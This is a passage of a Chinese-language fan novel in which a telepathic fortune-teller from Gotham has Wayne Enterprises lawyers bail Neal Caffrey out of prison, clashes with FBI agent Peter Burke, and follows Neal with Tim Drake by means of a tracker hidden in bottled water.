他缓缓呼出一口气，说：“塔利亚怀疑拉尔斯对在我身上做的实验和让他永生有关，而你，恰好是能承载拉尔斯灵魂的容器，这就是塔利亚执着地想要我的命的原因，她不希望你的祖父复活，更不希望你的祖父通过你的身体来复活。” 达米安震惊地后退了一步，几乎是在卡修斯话音落下的同时就张口反驳道：“不可能！” 卡修斯耸了耸肩：“我已经把我知道的告诉你了，至于真实性，你可以去找你的父亲，或者找塔利亚亲自求证。” “他一定在骗我，外祖父不会这样对我，母亲也不会为了阻止外祖父复活而要吱吱的命的。” 卡修斯虽然听到达米安的心里这样说，但看达米安瞬间表现出来的受伤的表情，他就知道，其实达米安也知道，自己没有说谎。 他和拉尔斯在一起生活了近10年，肯定比自己更了解他的外祖父是什麽样的人。 “如果得到了你想要的答案，能不能让我休息了呢？达米安少主？”卡修斯保持微笑。 达米安瞪了他一眼：“我会去求证的，如果你说谎，你就死定了！” 最后，他恶狠狠地撂下一句狠话，转身就走。 “走门！” 卡修斯站在原地大声提醒。 心绪混乱的达米安根本不想理他，遵循着蝙蝠家的“传统”，也从他破碎的窗户跳了出去。 卡修斯在原地站了一会儿，他的手机又响了起来。拿起来一看，是提姆发来的语音短信：“达米安离开了吗？” 【刚走】 他打字回复道。 提姆回了他一个“OK”的手势，也打字说【早点休息吧。】 卡修斯没再回复，而是回想起了今天一晚上的所有遭遇。 林肯·马奇的追杀，塔利亚对自己的敌意，还有和布鲁斯三个孩子的纠葛。 他觉得也许自己真的得离开哥谭一段时间了。 不说提姆和杰森，至少他在短时间内，不想面对布鲁斯质询的眼神——毕竟他刚才违背了两人心照不宣的默契，将塔利亚的心思以及拉尔斯的阴谋告诉了达米安。 知道了这些的达米安肯定不会什麽都不做，至于他到底会做什麽，又会不会给蝙蝠侠惹麻烦，就不是他能管得了的了。 想到这里，他直接从床上坐了起来，连门都不想走，学着刚从这里离开的三个人的样子，直接从窗口跳了出去。可是被冷风一吹，他就觉得自己好像干了件傻事。 他本来想去自己的安全屋——就是当初尼尔离开时留给他的那间屋子，自从一开始去住过两天之后，自己再也没有踏足那里，都快把那儿给忘了。 当初尼尔给他做的新身份的激活链接还在那个屋子里，尼尔留下的手机上，只要他启用那个身份，说不定就可以短暂的在义警们的视野里消失一段时间——完全消失他可是想都没想过的，别说布鲁斯，就算是提姆，可能也会很快找出他的踪迹。 而且，他不久前才刚刚和提姆互表心迹，如果立即落跑的话，自己在提姆这儿的信用大概就彻底破产了。 所以他又老老实实从窗口爬了回去，拿着手机犹豫了一会儿，最后还是拨通了提姆的电话。 接通音刚响起的第一声，提姆就接起了电话：“出什麽事了？” 他的声音竟然还带着一丝的紧张。 “没事，别紧张。”卡修斯尽量让自己的声音听起来轻松些，“我是想和你说一声，我大概要离开哥谭一阵子。” “离开，去哪儿？”提姆的声音立刻带上了警觉。 “纽约，去看望一个朋友，尼尔·卡夫瑞。”卡修斯简单地说。 电话那头沉默了几秒，然后响起噼里啪啦敲打键盘的声音，很显然，提姆正在检索他的信息。 提姆当然知道他是谁，当初第一次在酒吧和卡修斯相遇的时候，他们就详细的调查过尼尔的身份背景。 “一个坏消息。”提姆说。 卡修斯停顿了一下，才说：“他是不是已经被抓了？” 提姆笑了一声：“看来你对他也不是完全不了解，是的。” 卡修斯又沉默了，但提姆立刻就读懂了他沉默的意思：“所以，你还是坚持去纽约看他吗？” 其实卡修斯最想做的事是通过尼尔去认识MOZ，让他提供一些关于自己穿越，失忆，还有自己身上的纹身有可能的线索。他相信MOZ对这个也一定会感兴趣的。 提姆见卡修斯始终没说话，再次开口道：“你是不是想要保释他？” “我确实想要这麽做，只不过我自己没这麽多钱。” 和那麽大的能量。 提姆立刻明白了他的意思。 不过他转而问起另外一个问题：“你这个时候突然要离开哥谭，不会是为了逃避我吧？” 卡修斯笑了笑：“我的确是为了逃避，但不是为了逃避你，如果我想要避开你，也不会给你打这个电话了。” 提姆想想也挺有道理的，于是他继续猜道：“是不想面对布鲁斯？你告诉了达米安关于塔利亚要杀你的原因？” 卡修斯叹气：“你什麽时候能不这麽聪明？” 提姆的语气也有些得意：“我就当你这是在夸我了。” 卡修斯觉得杰森来找自己的事，达米安回去之后肯定也会跟大家说，还不如现在直接跟提姆说，免得产生什麽不必要的误会。 “达米安来之前，杰森也在我这儿，所以我想暂离哥谭一段时间，也有一部分想要避开杰森的原因吧。” 杰森对他很好，但他不能回应给对方同样的感情，这种情况下，他还是暂时离开哥谭比较好。 这回提姆也沉默了。他知道杰森对卡修斯抱有跟他差不多的想法，红头罩第一次出现在那个病房的时候，他就知道了，所以他才急于尽快和卡修斯确定关系，就是担心卡修斯在想起杰森之后，不会选自己。 但是现在，从卡修斯的态度来看，自己的担心好像是多余的。 “逃避可耻。”提姆听出卡修斯的低落，故意玩笑道。 “但是有用。”卡修斯也笑了，他理直气壮的反驳。 “好吧。”提姆呼出一口气，“你想什麽时候走？” “越快越好吧，如果能明天就离开，那就最好了。”卡修斯说。 火速逃离，以免布鲁斯来找他的麻烦。 提姆也能理解卡修斯想要立刻逃跑的心态，毕竟没有人愿意面对蝙蝠侠的质问，布鲁斯的也一样。 “行，我会安排韦恩集团在纽约分部的法务团队负责人，明天一早联系你，我们的法务部有处理这类保释和与FBI交涉的专家，有他在，再加上韦恩集团的背书，保释尼尔应该不难。” 卡修斯愣了一下，没想到提姆答应的那麽干脆，还直接提供了解决方案。 “呃……谢谢。”他顿了一下，又补充道，“需要我为你做什麽吗？” 提姆又笑了：“这句话通常是我对别人说的。” 见卡修斯没说话，他继续说：“把专业的事留给专业的人去处理，省时省力，这是为了让你能更快见到你的朋友。我需要你做的就是照顾好你自己，不要总想着刺客联盟的事，以及让自己的心情变得好一些。” 最后那句话，像一片轻柔的羽毛，拂过了卡修斯的心。他一瞬间又想到了杰森。 “虽然我没什麽立场说这个话，但我还是希望……对杰森宽容一些，他在刺客联盟经历的糟糕的事并不比我少。” 提姆笑了笑，说：“你放心，我会的。以防你不知道，其实在我小时候，罗宾一直都是我的偶像，他能回来，我真的很高兴。” 卡修斯忍不住笑出了声：“你高兴的表达方式就是把他扒光了做体检吗？” 提姆哈哈笑：“这是必要的防范，以免杰森·陶德的基因被用来对付我们。” 其实现在无论是杰森还是达米安，他们和提姆的关系都比他所熟知的故事好了太多。卡修斯不知道这是不是自己的干预导致的，只知道这种变化意味着他所熟知的故事情节并不是绝对无法改变的，他想要尽自己最大的努力，去挽回自己所知晓的那些意难平的悲剧。 “我已经帮你订好了票，航班信息发在你的手机上了，还有韦恩集团律师的联系方式，有什麽问题，你可以直接找他。”随着一阵键盘敲击的声音，提姆继续说，“睡一会儿吧，再睡四个小时左右起来，直接去赶飞机，那个时候布鲁斯应该还在睡觉。一路平安，保持联系。” 卡修斯都没注意到自己一直保持着微笑。 “晚安。” * 其实卡修斯也没有睡满4个小时，第二天一大早，一到商铺的营业时间，他就先去附近的玻璃店为自己的窗户重新配了块玻璃装上，又整理了一下一片狼藉的浴室，又在店铺的网站上挂出线下暂时歇业，只接受在线咨询的公告，最后迅速收拾了一下日常用品，直奔机场。 等到下飞机再开机时，就看到好几条来自布鲁斯·韦恩的未接来电。 卡修斯假装自己没看到，朝着机场出口处举着自己名牌的人招了招手。 和提姆派给自己的律师交流相当顺畅，两个人刚碰面，这个叫哈曼特的律师就告诉他已经安排好了下午的见面。效率之高简直让卡修斯以为纽约的政府职能部门转性了。 下午两点不到，他已经坐在了尼尔所在监狱的探视中心。 会见室冰冷的灯光打在光洁的桌面上，尼尔·卡夫瑞穿着橙色的囚服，被狱警带了进来。 卡修斯又在心里感慨了一声造物主的不公平。 为什麽有人能把囚服都能穿的像去参加什麽高端服装品牌的发表会？ 尼尔·卡夫瑞即使在狱中也相当注重形象，他的脸刮的非常干净，完全不像普通入狱人士那样不修边幅。 他的脸上依旧带着那副标志性的，仿佛对一切都满不在乎的优雅微笑，但当他的目光落在玻璃隔板外，穿着得体休闲西装、身边还站着一位一看就身价不菲的精英人士的卡修斯时，他那漫不经心的笑容立即变成了货真价实的惊讶。 “卡修斯·希尔？”尼尔拿起通话器，声音里充满了不可思议。 “哇哦……这可真是……出人意料的访客。”他上下打量着卡修斯，又瞥了眼旁边表情严肃，拎着昂贵公文包的精英，“让我猜一下，你旁边这位该不会是个律师吧？” 卡修斯拿着通话器，隔着玻璃对尼尔露出一个友善的笑容：“好久不见啊，尼尔，看来你在这里的日子并不难过，好像并不需要我多管闲事？” “可恶啊！被他装到了！” 听到尼尔的心声，卡修斯的笑容变得更大了些。 “监狱是所大学，亲爱的，它只会让人学会更精妙的生存技巧。”尼尔耸耸肩，动作依旧优雅的像是在参加什麽上流社会的鸡尾酒会，但他眼底深处那被长期拘禁带来的疲惫还是无法完全掩饰。 “哦——”卡修斯哦了一声，作势要挂掉电话离开。 “嘿！我是开玩笑的！”尼尔一看卡修斯要走，都激动的站了起来。 他记得当初离开哥谭的时候，卡修斯委婉的告诫过他，执意找凯特的话，会遇到不好的事。但当时他对自己的逃脱技巧相当有信心，以为自己绝对不会有事。没想到…… 现在再说这些已经晚了，他在见凯特的过程中被FBI当场抓获，现在面临的就是4年的监禁生涯。 他不后悔去见凯特，唯一遗憾的就是，要让凯特等他四年。 如果卡修斯真的能把他弄出去，那他以后绝对、绝对会遵纪守法，和凯特好好在一起。 卡修斯将他的心里话听了个完全，心里不免有些生草。 他想和凯特过安安稳稳的日子，可惜凯特并不这样想。但他知道现在对尼尔说什麽都没有，恋爱脑是绝症，在面对凯特的时候，尼尔更是个中了邪的顶级恋爱脑。四年的牢狱之灾都没能让他放弃凯特，更别说为了找凯特，他还在即将刑满释放的时候越狱，被加刑期。 看电视的时候，卡修斯觉得尼尔这麽聪明的人，在凯特身上反复犯蠢可能是剧情需要，但现在，他不这麽想了，这个操蛋的世界一点科学都不讲，他现在更怀疑凯特是不是给尼尔下了什麽蛊。 不过这都是之后要考虑的事，现在的当务之急，就是先把尼尔从牢里面弄出来。 拜托他介绍MOZ认识，弄清楚自己身上的谜团是一回事，另外就是，人生能有几个四年，卡修斯不希望尼尔把自己的青春蹉跎在牢狱之中。如果坐这麽长时间的牢是结识彼特·博克探员必须付出的代价，那他宁愿尼尔别认识这个人。 没有什麽感情比自由更重要。 “我可以保释你出来，尼尔。条件是——”他直视着尼尔那双迷人的蓝眼睛，“你必须答应我，出来以后，不能再去找凯特·莫罗。” 卡修斯冷静地提出自己的条件。 第78章 是占卜师还是韦恩的情人，我自有分辨！ 尼尔的瞳孔几不可查地缩了一下，原本脸上迷人的笑容也淡下去了些，带着一丝警惕和审视：“为什麽？” 卡修斯原本想告诉他，凯特·莫罗也许并没有他想的那样爱他，从一开始接近他的目的就不纯，但他知道尼尔是不会相信的，他现在还是那个为了凯特可以坐牢，甚至为了见她可以越狱的恋爱脑，自己这样直白地说凯特不好，非但不会被感激，反而有可能被误会别有用心，从而被尼尔怀疑。 所以他打算换另外一种说法。 “因为FBI的金融犯罪部门，尤其是博克探员，正密切关注着你，包括我们现在的谈话，可能还没等我走出这里，我们见面的视频监控就会被博克探员调走查看。你一出去就找凯特，等于把凯特也送到了FBI的监视之下，我想这大概不是凯特想要的生活吧。” 卡修斯的语气虽然温和，但他说的内容却冷冰冰的刺痛了尼尔最不想考虑的现实。他一向挂在脸上的玩世不恭的散漫都有些挂不住，拉平了嘴角，陷入沉默。 卡修斯也没有催促他，而是拿着听筒静静地等待尼尔的决定。 当然，在此期间，他能清晰地听到尼尔此刻的心声： “入狱之后，我所有认识的朋友里，没有人能保释我出来，只有卡修斯，可我们认识的时候，他还只是一个为生计奔波的占卜师兼职酒吧夜间员工，我们除了共同遭遇过一次险境，也没有更深的交情，他现在保释我，绝不可能是单纯地为了友谊，肯定是有什麽事是有求于我的，可他明明知道我对凯特的感情，为什麽要提出这种要求？” “凯特……她现在一定很担心我，可她真的愿意等我四年吗……” “FBI确实盯得很紧，彼特那家夥……当初真不该去挑衅他的。” “……不管了，先出去，总有办法！只要出去，我就有办法带着凯特远走高飞，去一个没人认识我们的地方。凭借我的逃脱术，不管卡修斯还是什麽FBI，绝对不可能轻易找到我们。” 听到这里，卡修斯就知道尼尔的打算了，他根本不打算遵守承诺，只想利用这次保释重获自由，然后立刻带着凯特消失。 “好吧，卡修斯。”尼尔抬起头，脸上重新挂起那种无懈可击的、带着点无奈和妥协的微笑，“你赢了。我答应你，暂时……不去找凯特。” 他刻意强调了“暂时”两个字。 卡修斯看着他，没有拆穿他心中的真实想法。他比尼尔知道的更了解他，也了解凯特。无论尼尔多麽想要和凯特远走高飞，在那个女人没有达到自己的最终目的之前，她是不可能跟他走的——她背后的人不可能让她跟着尼尔消失。 但这个南墙需要尼尔亲自去撞。 卡修斯点了点头：“记住你的话。” 说着，他侧头对旁边的律师示意了一下。 精英律师立刻上前，拿出早已准备好的文档，开始与狱方和随后赶来的FBI代表进行交涉。 哈特曼律师的专业、高效以及背后韦恩集团这块招牌的经济价值，让原本可能繁琐的保释程序变得异常顺利。不到两个小时，尼尔就在一份文档上签下自己龙飞凤舞的名字，换下了那身橙色的囚服。 卡修斯的准备非常充分，适时的递上一套西装。只一眼就看得出这是自己的尺寸。 他挑眉看着卡修斯，卡修斯笑道：“也不是我特意准备的，这是从你留给我的那个屋子里带来的，不过也就剩这一套了，剩下的都被我‘不小心’穿坏了。” “哦——‘不小心’。”尼尔意味深长地重复了一句，然后接过了原本就属于自己的西装。 走出监狱大门，纽约午后刺眼的阳光让尼尔下意识地眯起了眼。他深吸了一口气，脸上露出一个真心实意的，灿烂的笑容。 卡修斯也觉得心情不错，果然有钱就是能为所欲为，今天也让他体验了一把拥有钞能力的快乐人生。 不过两个人都没开心太久，这些日子在多次生死中恢复的身体和神经记忆让他立即意识到有人正在看着他。他立即向前一步，用自己挡住尼尔和律师，朝着自己感觉到不对的地方看过去。 监狱大门拐角的阴影处，一个穿着深色西装，身形挺拔、表情严肃得如同花岗岩的男人正站在那里。 他双手插在裤袋里，锐利的目光如同鹰隼一般掠过律师和尼尔，然后牢牢锁定了他身边的卡修斯。 尼尔脸上的笑容淡了下去。 卡修斯虽然不认识他，但也从尼尔的表情里判断出了来人的身份。能这麽快得知尼尔被保释，并且亲自等在这里的人，除了FBI探员彼特·博克，还能有谁？ 卡修斯感到一阵心虚。 如果不是自己横插一脚，他们四年后的再一次见面并不会像现在这样剑拔弩张。 可卡修斯也并不后悔这样做。 彼特·博克迈着沉稳的步伐走了过来，每一步都带着公职人员无形的压迫感。 卡修斯骨子里还是那个遵纪守法的好公民，第一次利用狐假虎威，还十分不熟练，尤其是面对彼特探员这种浑身散发着正义感的好警察的时候。 所以他忍不住率先移开了视线。 他身边的律师大概是得到过提姆少总的吩咐，见状立即将卡修斯拉到了自己身后，意思很明显，有什麽问题由他来交涉。 博克探员在他们面前站定，没有再看卡修斯，又将目光聚焦在从头到脚都散发着精英气息的律师身上。 “博克探员，好巧啊。”尼尔用他惯常的、漫不经心的语调打招呼，但声音里再也没有曾经那种意气风发的张扬，而是多了几分重视和警惕。 但博克探员直接无视了尼尔。他的目光准确穿透律师的遮挡，从身形的缝隙中再次盯上卡修斯，开口道：“卡修斯·希尔？” 他准确无误地叫出了卡修斯的名字。虽然他的声音平板听不出情绪，但卡修斯还是能感受到从他身上散发出来的，压抑的怒火。 “你好，探员先生。” 卡修斯绕开律师站出来，朝着对方礼貌地伸出手。 “妈耶，这个彼特·博克看上去完全不像我了解的那样平易近人啊，他看上去好像要吃人！” 彼特被脑子里忽然冒出来的声音吓了一跳，连表情都茫然了一瞬。 卡修斯一看他的表情就知道完蛋了。他的这个屁用都没有的超能力好像对不是超英的彼特探员也有效？这不是自爆吗？ 彼特看着卡修斯的眼神立即变得警惕起来。 卡修斯不顾对方的反对，一把抓住博克探员的手掌，强行表示友好。 “博克探员是吧，我知道你现在心里有很多问号，但你先别急……” 博克探员一把抽回自己的手，另外一只手甚至都忍不住去摸腰间的配枪。 尼克看到眼皮一跳，立即出声道：“博克探员！” 卡修斯身边的律师也再次将尼克拉到了身后。 彼特慢慢放下摆在腰间的枪，他狐疑地盯着卡修斯，问道：“到底是怎麽回事？” 但这里并不是说话的好地方，而且律师也打断了探员的质询，直接递给他一张名片，告诉他，自己的当事人没有义务回答他的任何问题。 卡修斯不想和这位探员的关系搞的太僵，只能在心里对他说： “博克探员你好，我知道你能听到我心里在想什麽，你可以把这个当作是占卜师的能力？总之，我绝对不是来和你做对的。我保释尼克是因为有一些特殊的原因，我会看好他的，况且，你们以后说不定会有合作，你们的关系会变得非常紧密……” “够了！” 博克探员忽然开口。 律师和尼克都一脸疑惑的看着他。 探员一看两人的表情，就知道现场只有自己一个人能听到尼克心中所想。他顿时有种想要立即回去检查一下自己是不是被催眠了的冲动。 “哥谭来的占卜师？” 博克看着卡修斯质询道。 今天下午总觉得局长看自己的眼神很奇怪，他觉得对方有事瞒着他，死缠烂打的追问了好久，才得知有人通过韦恩集团的法务，为尼尔·卡夫瑞申请了保释，当天下午尼尔就会出狱了。 博克一瞬间出离愤怒，连局长在背后喊让他不要冲动都听不到，直接驱车来到了监狱门口。 路上他就让自己助手琼斯调查了保释尼尔出狱的人的背景，知道他是从哥谭来的占卜师，并且和韦恩集团关系紧密。琼斯说卡修斯·希尔疑似是布鲁斯·韦恩的新欢。 彼特·博克：…… 关于哥谭的传闻他也听过不少，但是比起布鲁斯·韦恩，他倒是对那里的暗夜传说蝙蝠侠更感兴趣。 他知道这个韦恩在哥谭有相当大的影响力，但这里是纽约，不是哥谭人能撒野的地方。 博克知道哥谭有许多拥有超能力的超级罪犯，现在他怀疑卡修斯也是其中之一。看来他得和哥谭的同僚詹姆斯·戈登通个信，看看这个卡修斯·希尔到底是什麽来头。 尼尔只是一个普通的金融和艺术品盗贼，他认为这个人的本质不坏，只是自傲于自己的聪明才智，一时间误入歧途而已。可他一旦和哥谭那些穷凶极恶的超级罪犯扯上关系，恐怕这辈子就要毁了。 想到这里，他的语气不禁更加警惕。 “哥谭来的占卜师？或者……布鲁斯·韦恩的月度情人？” 尼尔一脸震惊的看着卡修斯。 连他身边的律师也一脸“好家夥”的表情看着他。 卡修斯·希尔：…… “我不是，我没有，别瞎说！” 但这种事真的经不起解释，解释就是掩饰，掩饰就是确有其事。 卡修斯真的很好奇彼特·博克的信息获取渠道，这麽离谱的消息他到底是从哪儿得到的？ “能让韦恩集团的顶级律师团队像救火队员一样，在一天不到的时间内就搞定像尼尔·卡夫瑞这种级别的监犯的保释，我可不敢把你当作普通的占卜师，任何谣言都不可能是空xue来风。” 彼特·博克说。 “博克探员，就你刚才的言论，我可以告你诬蔑和诽谤。”吃完一口大瓜的律师终于想起了自己的职责。 卡修斯确实不想和博克探员交恶，他拍了拍律师的胳膊，示意他先别说话，然后迎上彼得极具穿透力的目光，脸上保持着平静的微笑，既不谄媚也不退缩：“探员先生，不管我和韦恩集团是什麽关系，现在，我只是一个关心朋友的人。尼尔曾经在危难之时救过我，那麽我现在帮他一次，合情合理。” “关心朋友？”彼特从鼻子里哼了一声，他再次打量了卡修斯几眼，即使面对自己的咄咄逼人，他依然温和有礼，这让彼特的火气确实消下去一些。他的目光再次转向尼尔，再开口的语气充满了劝诫和警告，“哥谭的水很深，别以为你找到韦恩集团这个靠山，就万事无忧了。你签了保释协议，上面清清楚楚写着你的活动范围和限制条件，你最好是真的改邪归正，如果你助纣为虐的话……” 说着，他意有所指的看了卡修斯一眼。 卡修斯继续回他一个老实人的笑容：“下次你再进来，可就没那麽容易再出去了。” 尼尔看着他耸了耸肩，抬起右手，伸出食指和中指冲彼特行了个礼，意思是收到了他的警告。 彼特没理会尼尔玩世不恭的回应，他不惧卡修斯身边的律师，朝他逼近一步，凑在他耳边压低声音说：“如果你敢利用尼尔做什麽伤天害理的事，就算有布鲁斯·韦恩为你保驾护航，我也一定会把你把你送进监狱。” 卡修斯对他的威胁倒是没怎麽不高兴，反而觉得他跟自己想的差不多，确实是个好警察，即使现在还没有和尼尔产生更深的交集，也不由自主的担心他。 看来以后还是得把尼尔交给彼特调理。 彼特抬起头，听到了他的心声，有点不解的看着他，但他的表情依旧严肃，问道：“你什麽意思？” 卡修斯从自己的口袋里掏出一张名片递给彼特，友好的说：“这上面有我占卜店的网址，我很擅长帮人预测未来，如果有什麽想知道的，欢迎去网上预约，我给你打折。” 说罢，他朝一边的律师点了点头，意思是可以离开了。 尼尔也俏皮地和彼特挥了挥手，表示再见。一行三人走向停在路边低调奢华的黑色林肯轿车——这当然也是提姆安排的。 司机已经恭敬地拉开了后座车门。 尼尔非常不优雅地吹了声口哨，眼神暧昧的看向卡修斯。 “本来我还不相信FBI探员说的，关于他是韦恩情人的说法，现在看来好像也不得不信了。” 卡修斯无奈的看着他：“上车吧，事情并不是你想的那样！” 尼尔从善如流地先坐了进去，等卡修斯坐进来，车子缓缓启动，他才说：“我什麽都没想啊。” 车子平稳地驶向曼哈顿上东区，最终停在移动现代化豪华公寓楼前。门童恭敬地为他们打开车门。 尼尔下车，打量着眼前这栋一看就价值不菲的建筑，心里对“韦恩情人”这个说法更笃信了。 卡修斯也懒得解释，反正时间会证明一切，现在最主要的是让尼尔帮他联系MOZ。 “我本来不想相信博克探员毫无根据的猜测的。”尼尔笑着对卡修斯说，“这里可是……” 他的话戛然而止。 他们一起走进顶层公寓，推开厚重的实木大门时，一个身影正背对着他们，站在巨大的落地窗前，俯瞰着哈德逊河的景色。 那人穿着一身得体的深黑色西装套装，身形挺拔而年轻。听到开门声，他缓缓转过身。 尼尔一眼就看出那个人并不是布鲁斯·韦恩，他要比布鲁斯·韦恩年轻许多。 “提姆？” 卡修斯惊讶。 尼尔挑了挑眉。 提姆·德雷克-韦恩？是目前韦恩集团年轻的执行总裁吗？看来在自己东躲西藏，最后被FBI抓到，不得不坐牢的日子里，卡修斯的日子倒是过的风生水起。 提姆显然刚到不久，他的目光平静的扫过尼尔，带着一种不动声色的审视，然后落在卡修斯身上，慢慢展开一个微笑。 “公司刚好派我过来纽约出差。” 卡修斯的笑容凝固了。 这是什麽不走心的借口啊！提姆绝对是故意的！ 精通伪装和仿造的大宗师尼尔·卡夫瑞看着提姆的脸，慢慢收起笑容，他觉得这位韦恩少爷非常眼熟。 不是那种电视上见过脸的面熟，而是自己绝对在什麽地方实实在在见过这个人。 尼尔盯着他脸部骨相的转折和颅骨中线的位置好几秒，大叫一声。 “啊！是你！” 卡修斯和提姆齐齐看向尼尔。 尼尔激动地指着提姆，斩钉截铁地说：“你是卡洛琳·希尔！” 他相信自己的眼睛，绝对不会看错的。 当初他就觉得卡洛琳·希尔身上有种微妙的违和感。她知道对方一定是做过一些伪装，但绝对没想到她竟然是男扮女装。 提姆并没有因为被拆穿而惊讶，在尼尔话音落下的瞬间，他立即去看卡修斯，眼神里竟然还带着一丝从未有过的惊慌。 卡修斯也在看他。 这是他们两个心照不宣的秘密，一直没有戳破，是因为提姆知道，一旦他和布鲁斯他们一样，能听到卡修斯的心声，恐怕以后卡修斯也会像现在刻意避开布鲁斯那样躲避他了。 “我没听到。”他下意识地对着卡修斯说。 “嗯？” “我还是什麽都没听到。” 因为焦急，提姆甚至快步向卡修斯走了几步。 卡修斯特意在心里对提姆说了几句话，看他没有反应，才彻底相信他还是听不到。 于是他点了点头：“嗯，我相信你。” 尼尔一脸疑惑的看着他们，问：“你们到底在搞什麽？” 刚才那个瞬间，他还以为卡修斯不知道提姆·德雷克-韦恩就是卡洛琳·希尔，但看后面两个人莫名其妙的对话，好像又不像是不知道的样子。 看到卡修斯对自己的态度并没有什麽变化，提姆才悄悄松了口气。 他向尼尔伸出手：“重新认识一下，尼尔·卡夫瑞先生。我是提姆·德雷克-韦恩，不过朋友一般都叫我提姆。很高兴……我们终于能在比较‘正常’的场合下见面了。” 尼尔看着提姆的手，又从他的手看到他无懈可击的笑容，终于也露出一个同款笑容握了上去。 “你好，提姆先生，我的朋友也都叫我尼尔。” 卡修斯看着两个人如出一辙的笑容，忍不住打了个冷战。 感觉他们不像刚认识的两个人，而是两只狐狸。 “行了吧你们，在这样握手下去，我都要以为你们对彼此有意思了。” 卡修斯忍不住在一边吐槽。 两人这才火速撤回彼此的手。 尼尔的眼神在提姆和卡修斯的脸上转了一圈，感觉自己终于明白了点什麽。 “原来他不是勾搭上了布鲁斯·韦恩，而是泡到了布鲁斯的儿子。我说呢，以前韦恩的绯闻都是跟超模或者女明星传的，什麽时候转性看上卡修斯这种干巴巴硬邦邦的男人。” 卡修斯的笑容消失了。 后悔了，想把他重新丢回监狱。 提姆已经把尼尔·卡夫瑞从头到尾查了一遍，也知道他有女朋友。但即便如此，他也不喜欢看到两个人之间眉来眼去的。 “抱歉，我和卡修斯有点事儿要谈，你能不能回避几分钟？” 提姆礼貌地对尼尔说，同时从旁边的柜子上拿了瓶未开封的巴黎水递给尼尔。 尼尔立即明白了提姆的意思，接过提姆手中的水，拧开喝了一口：“谢谢。那你们聊，我下楼去转转。” 提姆朝他点了点头。 等尼尔出去，卡修斯才转头看向提姆，表情有些埋怨：“你确定不是在跟踪我吗？” 他可没忘记，面前这个人是个多麽执着的斯托卡。 提姆莞尔：“我真的不是故意来打扰你‘度假’的。” 卡修斯斜眼看着他，显然是不相信他的说辞。 提姆才说：“我今早又详细梳理了一遍尼尔·卡夫瑞从名声鹊起到入狱这段时间的行事逻辑和行为模式，我觉得他对那个女友，凯特·莫罗的逻辑跟他平时的行事简直判若两人。” 卡修斯点了点头：“我知道啊，顶级恋爱脑就是这样的，你可千万不要变成他这样。” 提姆皱眉瞪他。 卡修斯有点手痒，忍不住想要戳他眉心间皱起的竖纹。 提姆一把抓住他的手。 被抓包的卡修斯若无其事的抽回手：“20岁还不到呢，不要老是皱眉，显老。你继续说。” “然后我调查了凯特·莫罗。” 卡修斯的表情变得认真起来，等着他继续说下去。 “我发现，凯特·莫罗在遇到尼尔之前到和他确定关系之后，行为模式也不像是同一个人。” 卡修斯看着他没说话。 提姆说出自己最后的结论：“我怀疑现在的凯特·莫罗和尼尔最初遇到的那个人，不是同一个人，真正的凯特·莫罗已经死了。” 卡修斯发现自己居然没有感到特别惊讶，就好像他对这个结果早有准备似的。 “所以你来……” 他问。 “我想找机会见见这个凯特·莫罗。” 卡修斯点头，但他马上感觉到不对了。 他站在窗口往楼下看去，可是并没有看到尼尔的身影。 大意了。 他本来的计划是时刻跟着尼尔。他也相信尼尔绝不会轻易玩失踪，陷他于不义。但现在看来，自己好像高估了这个还没有被正到发邪的FBI探员彼特·博克熏陶过的国际盗贼。 提姆倒是不慌不忙的打开手机，调出一个地图界面。 “急什麽，我们现在跟着尼尔，想必他会带我们找到凯特·莫罗。” 卡修斯把脸凑过去一看，就看到手机显示的地图上，正有一个绿色的光点朝着曼哈顿河对岸的方向移动。 “你什麽时候在他身上放追踪器的？”卡修斯一脸惊讶。 尼尔·卡夫瑞擅长逃脱和隐匿，他在离开前绝对检查过一遍自己身上有没有什麽“小玩具”。 “所以说，不要轻易喝别人递过来的东西，就算是没开封的也不行。”提姆看着卡修斯，得意洋洋地教导他。 卡修斯：……不愧是蝙蝠家出来的。服了！ 第79章 你说的那个人，不会是你自己吧？ “你怎麽能肯定他一定会喝你递过去的水？”卡修斯还是有点不服气，这种下毒……不是，下追踪器的方式太看脸了，万一对方只接过来，不喝怎麽办？ “他会喝的，我选的是卡夫瑞最常喝的牌子，而且你们从监狱一路过来，恐怕也没喝什麽水。而且我是提姆·韦恩，谁会警惕我送出去的，没开封的水呢？”提姆自信满满的说。 被他这样一说，卡修斯还真的感觉自己有点渴了。 提姆再次适时递给他一瓶水。 卡修斯也习惯性的接过了。 等他喝了一口后，才迟钝地问：“你不会在这一瓶里也加了料吧……” 提姆好笑地看着他：“没加别的东西，只不过这瓶是我刚才喝过的。” 卡修斯无语地看着他。 “别骚。” 他呵斥道，但声音里忍不住带了些笑意。 “走吧，让我们去看看这个凯特·莫罗到底是什麽当代海伦。”提姆率先走向门口，动作干脆利落。 卡修斯立刻跟上。两人一块儿下楼，他们来时乘坐的林肯车已经停在了楼下。卡修斯看到车就忍不住吐槽：“提宝，我们是去跟踪，你不觉得开这个车去有点太高调了吗？” 提姆不以为意：“我觉得这个车挺低调的。” 行吧，你是霸总，你说了算。 提姆将手机连接到车载导航，屏幕上清晰地显示出了尼尔的位置——他正沿着曼哈顿河岸，朝着布鲁克林区的方向移动。 韦恩集团的司机也是见过大场面的人，见到这麽明显的追踪式导航方式，居然连问都不问一句，就跟着老板的要求，朝着移动的绿点的方向移动。职业素养相当高。 他们的车子一路跟着追踪点，不紧不慢地往尼尔的方向靠近。最终，绿点在布鲁克林一个看起来颇为雅致，但显然有些年头的红砖公寓楼前不动了。 司机将车停在街角的阴影处，提姆和卡修斯一起下车，步行靠近那栋红砖公寓。 路上卡修斯还在担心他的定位器不能定位到准确的房间号，到时两人如果一间一间找的话，未免太过兴师动众。但现在看来，他的担心显然是多余的，他们并没有进入公寓楼——尼尔·卡夫瑞也没有进去，他就在楼下。 他静静地站在马路对面，仰着头，望着公寓楼四楼的某个窗户。午后的阳光勾勒出他挺拔却带着一丝落寞的身影。 尼尔像是没看到提姆和卡修斯似的，直到两人站在他身旁，他的姿势都没有动一下。 卡修斯顺着他的视线，也仰头看上去。尼尔注视的那个窗户，白色的窗纱飘逸，从他们这个位置看过去，隐约可见一个抱着孩子的女人正在窗前走动，窗台上还摆着几盆生机勃勃的绿植。 不一会儿，一个年轻男人走了过来，先亲吻了女人的额头，然后接过了她手里的孩子，女人才从窗边离开。卡修斯注意到，那个转身离开的身影拥有一头漂亮的金发——但据他所知，凯特的发色是深棕色的。 那显然不是凯特·莫罗。 提姆好像对这个结果一点都不惊讶。他收回视线，转头冷静地对尼尔说：“你这样不告而别，作为保释你出来的卡修斯和韦恩集团，都要承担很大的风险。” 